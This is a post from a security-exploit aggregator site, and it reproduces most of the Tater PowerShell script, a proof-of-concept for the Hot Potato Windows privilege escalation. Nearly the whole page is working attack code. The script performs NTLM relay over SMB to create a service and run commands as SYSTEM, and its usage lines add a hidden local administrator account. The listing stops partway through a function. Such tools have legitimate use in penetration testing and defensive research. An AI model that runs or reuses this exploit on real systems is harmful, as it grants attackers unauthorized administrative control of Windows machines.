Quantcast
Channel: Exploits – Security List Network™
Viewing all 514 articles
Browse latest View live

Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit.

$
0
0

Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit. Tater is mainly pieced together from existing Inveigh code.

Notes
Use caution, this is still very much in a proof of concept stage. It’s only been tested on Windows 7. It’s also missing some of the advanced features found in Potato.
The most likely thing to go wrong is that the HTTP listener will not release the port 80 binding on exit. If this happens, closing out your PowerShell process will remove the binding.

Example usage Tater.ps1

Example usage Tater.ps1

Example usage :

Invoke-Tater -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
Invoke-Tater -Command "net user tater Winter2016 /add && net localgroup administrators tater /add" –RunTime 10

Tater.ps1 Script:

Function Invoke-Tater
{
<#
.SYNOPSIS
Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation.
.DESCRIPTION
Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation with functionality similiar to Potato.exe.
.PARAMETER IP
Specify a specific local IP address.
.PARAMETER Command
Command to execute as SYSTEM on the localhost.
.PARAMETER RunTime
(Integer) Set the run time duration in minutes.
.PARAMETER ConsoleOutput
Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
.PARAMETER FileOutput
Default = Disabled: (Y/N) Enable/Disable real time file output.
.PARAMETER StatusOutput
Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
.PARAMETER OutputStreamOnly
Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams.
Note that you will not see the various yellow warning messages if enabled.
.PARAMETER ShowHelp
Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
.PARAMETER Tool
Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire  
.EXAMPLE
Invoke-Tater -SMBRelayCommand "net user Dave Winter2016 /add && net localgroup administrators Dave /add"
.LINK
https://github.com/Kevin-Robertson/Tater
#>

# Default parameter values can be modified in this section 
param
( 
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y",
    [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y",
    [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0",
    [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP="",
    [parameter(Mandatory=$false)][int]$RunTime = "",
    [parameter(Mandatory=$true)][string]$Command = "", 
    [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)

if ($invalid_parameter)
{
    throw "$($invalid_parameter) is not a valid parameter."
}

if(!$IP)
{ 
    $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address)
}

if(!$Command)
{
    Throw "You must specify an -Command if enabling -SMBRelay"
}

if(!$tater)
{
    $global:tater = [hashtable]::Synchronized(@{})
}

if($tater.running)
{
    Throw "Invoke-Tater is already running, use Stop-Tater"
}

if(!$tater.running)
{
    $tater.console_queue = New-Object System.Collections.ArrayList
    $tater.status_queue = New-Object System.Collections.ArrayList
    $tater.console_output = $true
    $tater.console_input = $true
}

$tater.running = $true
$tater.SMB_relay_active_step = 0
$tater.SMB_relay = $true

if($StatusOutput -eq 'y')
{
    $tater.status_output = $true
}
else
{
    $tater.status_output = $false
}

if($OutputStreamOnly -eq 'y')
{
    $tater.output_stream_only = $true
}
else
{
    $tater.output_stream_only = $false
}

if($Tool -eq 1) # Metasploit Interactive Powershell
{
    $tater.tool = 1
    $tater.output_stream_only = $true
    $tater.newline = ""
    $ConsoleOutput = "N"
}
elseif($Tool -eq 2) # PowerShell Empire
{
    $tater.tool = 2
    $tater.output_stream_only = $true
    $tater.console_input = $false
    $tater.newline = "`n"
    $ConsoleOutput = "Y"
    $ShowHelp = "N"
}
else
{
    $tater.tool = 0
    $tater.newline = ""
}

# Write startup messages
$tater.status_queue.add("$(Get-Date -format 's') - Tater (Hot Potato–Windows Privilege Escalation) started")|Out-Null
$tater.status_queue.add("Local IP Address = $IP") |Out-Null

if($ConsoleOutput -eq 'y')
{
    $tater.status_queue.add("Real Time Console Output Enabled")|Out-Null
    $tater.console_output = $true
}
else
{
    if($tater.tool -eq 1)
    {
        $tater.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null
    }
    else
    {
        $tater.status_queue.add("Real Time Console Output Disabled")|Out-Null
    }
}
if($RunTime -eq '1')
{
    $tater.status_queue.add("Run Time = $RunTime Minute")|Out-Null
}
elseif($RunTime -gt 1)
{
    $tater.status_queue.add("Run Time = $RunTime Minutes")|Out-Null
}

if($ShowHelp -eq 'y')
{
    $tater.status_queue.add("Run Stop-Tater to stop Tater early")|Out-Null
        
    if($tater.console_output)
    {
        $tater.status_queue.add("Use Get-Command -Noun Tater* to show available functions")|Out-Null
        $tater.status_queue.add("Press any key to stop real time console output")|Out-Null
        $tater.status_queue.add("")|Out-Null
    }
}

if($tater.status_output)
{
    while($tater.status_queue.Count -gt 0)
    {
        if($tater.output_stream_only)
        {
            write-output($tater.status_queue[0] + $tater.newline)
            $tater.status_queue.RemoveRange(0,1)
        }
        else
        {
            switch ($tater.status_queue[0])
            {
                "Run Stop-Tater to stop Tater"
                {
                    write-warning($tater.status_queue[0])
                    $tater.status_queue.RemoveRange(0,1)
                }
                default
                {
                    write-output($tater.status_queue[0])
                    $tater.status_queue.RemoveRange(0,1)
                }
            }
        }
    }
}

$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id
$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID))
$process_ID = $process_ID -replace "-00-00",""
[Byte[]]$tater.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)}

# Begin ScriptBlocks

# Shared Basic Functions ScriptBlock
$shared_basic_functions_scriptblock =
{
    Function DataToUInt16($field)
    {
	   [Array]::Reverse($field)
	   return [BitConverter]::ToUInt16($field,0)
    }

    Function DataToUInt32($field)
    {
	   [Array]::Reverse($field)
	   return [BitConverter]::ToUInt32($field,0)
    }

    Function DataLength
    {
        param ([int]$length_start,[byte[]]$string_extract_data)

        $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0)
        return $string_length
    }

    Function DataToString
    {
        param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data)

        $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)])
        $string_data = $string_data -replace "-00",""
        $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $string_extract = New-Object System.String ($string_data,0,$string_data.Length)
        return $string_extract
    }
}

# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response
$SMB_NTLM_functions_scriptblock =
{
    Function SMBNTLMChallenge
    {
        param ([byte[]]$payload_bytes)

        $payload = [System.BitConverter]::ToString($payload_bytes)
        $payload = $payload -replace "-",""
        $NTLM_index = $payload.IndexOf("4E544C4D53535000")

        if($payload.SubString(($NTLM_index + 16),8) -eq "02000000")
        {
            $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16)
        }

        return $NTLM_challenge
    }
}

# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target
$SMB_relay_challenge_scriptblock =
{
    Function SMBRelayChallenge
    {
        param ($SMB_relay_socket,$HTTP_request_bytes)

        if ($SMB_relay_socket)
        {
            $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream()
        }
        
        $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024

        $i = 0
        
        :SMB_relay_challenge_loop while ($i -lt 2)
        {
            switch ($i)
            {
                0 {
                    [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                        + $tater.process_ID_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)
                }
                
                1 { 
                    $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32)
                    $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22)
                    $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2)
                    $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length)
                    $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length))
                    $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
                    $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
                    $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28))
                    $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
                    $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
                    $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 87))
                    $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
                    $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
                    [array]::Reverse($SMB_netbios_length)
                    
                    [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)`
                        + $SMB_netbios_length`
                        + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                        + $tater.process_ID_bytes`
                        + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
                        + $SMB_blob_length`
                        + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
                        + $SMB_byte_count`
                        + $HTTP_request_bytes`
                        + (0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x00,0x00)`
                        + (0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00,0x00,0x00)
                }
            }

            $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length)
            $SMB_relay_challenge_stream.Flush()
    
            $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length)

            $i++
        }
        
        return $SMB_relay_challenge_bytes
    }
}

# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target
$SMB_relay_response_scriptblock =
{
    Function SMBRelayResponse
    {
        param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID)
    
        $SMB_relay_response_bytes = New-Object System.Byte[] 1024

        if ($SMB_relay_socket)
        {
            $SMB_relay_response_stream = $SMB_relay_socket.GetStream()
        }
        
        $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length))
        $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
        $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28))
        $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
        $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 88))
        $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
        $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        [array]::Reverse($SMB_netbios_length)
        $j = 0

        :SMB_relay_response_loop while ($j -lt 1)
        {
            [Byte[]] $SMB_relay_response_send = (0x00,0x00)`
                + $SMB_netbios_length`
                + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                + $tater.process_ID_bytes`
                + $SMB_user_ID`
                + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
                + $SMB_blob_length`
                + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
                + $SMB_byte_count`
                + $HTTP_request_bytes`
                + (0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x00,0x00)`
                + (0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00,0x00,0x00)

            $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length)
        	$SMB_relay_response_stream.Flush()

            $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length)
            
            $tater.SMB_relay_active_step = 2
            
            $j++
        
        }
        return $SMB_relay_response_bytes
    }
}

# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session
$SMB_relay_execute_scriptblock =
{
    Function SMBRelayExecute
    {
        param ($SMB_relay_socket,$SMB_user_ID)
    
        if ($SMB_relay_socket)
        {
            $SMB_relay_execute_stream = $SMB_relay_socket.GetStream()
        }

        $SMB_relay_failed = $false
        $SMB_relay_execute_bytes = New-Object System.Byte[] 1024
        $SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
        $SMB_service = $SMB_service_random -replace "-00",""
        $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1)
        $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length)
        $SMB_service_random += '00-00-00'
        [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
        $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $Command = "%COMSPEC% /C `"" + $Command + "`""
        [System.Text.Encoding]::ASCII.GetBytes($Command) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ }

        if([bool]($Command.length%2))
        {
            $SMB_relay_command += '00-00'
        }
        else
        {
            $SMB_relay_command += '00-00-00-00'
        }    
        
        [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237)
        $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0]
        $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63)
        $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1]   
        $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2)

        $k = 0

        :SMB_relay_execute_loop while ($k -lt 12)
        {
            switch ($k)
            {
            
                0 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)`
                        + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00)
                }
                  
                1 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
                        + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)`
                        + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00)
                }
                
                2 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)`
                        + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
                        + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)`
                        + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00)
                        
                        $SMB_multiplex_id = (0x05)
                }
               
                3 { 
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
                
                4 {
                    [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)`
                        + (0x00,0x00,0x00,0x5c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
                        + (0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)`
                        + (0x00,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)`
                        + $SMB_service_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00)
                        
                        $SMB_multiplex_id = (0x07)
                }
                
                5 {  
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
                
                6 {
                    [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)`
                        + $SMB_service_data_length_bytes`
                        + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x00,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x3f,0x00,0x00,0x00,0x00,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x05,0x00,0x00,0x03,0x10)`
                        + (0x00,0x00,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00)`
                        + $SMB_context_handler`
                        + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)`
                        + $SMB_service_bytes`
                        + (0x00,0x00)`
                        + $SMB_referent_ID_bytes`
                        + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)`
                        + $SMB_service_bytes`
                        + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
                        + $SMB_relay_command_length_bytes`
                        + (0x00,0x00,0x00,0x00)`
                        + $SMB_relay_command_length_bytes`
                        + $SMB_relay_command_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
                        
                        $SMB_multiplex_id = (0x09)
                }

                7 {
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }

                
                8 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)`
                        + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
                        + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)`
                        + $SMB_context_handler`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
                }
                
                9 {
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
                
                10 { 
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)`
                        + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
                        + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)`
                        + $SMB_context_handler
                }
                11 {
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
            }
            
            $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length)
            $SMB_relay_execute_stream.Flush()
            
            if ($k -eq 5) 
            {
                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
                $SMB_context_handler = $SMB_relay_execute_bytes[88..107]

                if(([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00') -and ([System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00'))
                {
                    #$tater.console_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")
                }
                elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00')
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")
                    $SMB_relay_failed = $true
                }
                else
                {
                    $SMB_relay_failed = $true
                }

            }
            elseif (($k -eq 7) -or ($k -eq 9) -or ($k -eq 11))
            {
                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)

                switch($k)
                {
                    7 {
                        $SMB_context_handler = $SMB_relay_execute_bytes[92..111]
                        $SMB_relay_execute_error_message = "Service creation fault context mismatch"
                    }
                    11 {
                        $SMB_relay_execute_error_message = "Service start fault context mismatch"
                    }
                    13 {
                        $SMB_relay_execute_error_message = "Service deletion fault context mismatch"
                    }
                }
                
                if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00')
                {
                    $SMB_relay_failed = $true
                }

                if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c')
                {
                    $tater.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget")
                    $SMB_relay_failed = $true
                }
            }        
            else
            {
                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)    
            }
            
            if((!$SMB_relay_failed) -and ($k -eq 7))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget")
            }
            elseif((!$SMB_relay_failed) -and ($k -eq 9))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")
                $tater.SMB_relay = $false
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay disabled due to success")
            }
            elseif((!$SMB_relay_failed) -and ($k -eq 11))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget")
                }   
            
            [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                + $tater.process_ID_bytes`
                + $SMB_user_ID`
                + $SMB_multiplex_ID`
                + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58,0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00)
            
            if($SMB_relay_failed)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay failed on $SMBRelayTarget")
                BREAK SMB_relay_execute_loop
            }

            $k++
        }
        
        $tater.SMB_relay_active_step = 0
        
        $SMB_relay_socket.Close()
        $tater.SMBRelay_success = $True
    }
}

# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener
$HTTP_scriptblock = 
{ 
    param ($Command)

    Function NTLMChallengeBase64
    {

        $HTTP_timestamp = Get-Date
        $HTTP_timestamp = $HTTP_timestamp.ToFileTime()
        $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp))
        $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}

        [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0xc2,0x89,0xa2)`
            + $HTTP_challenge_bytes`
            + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)`
            + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)`
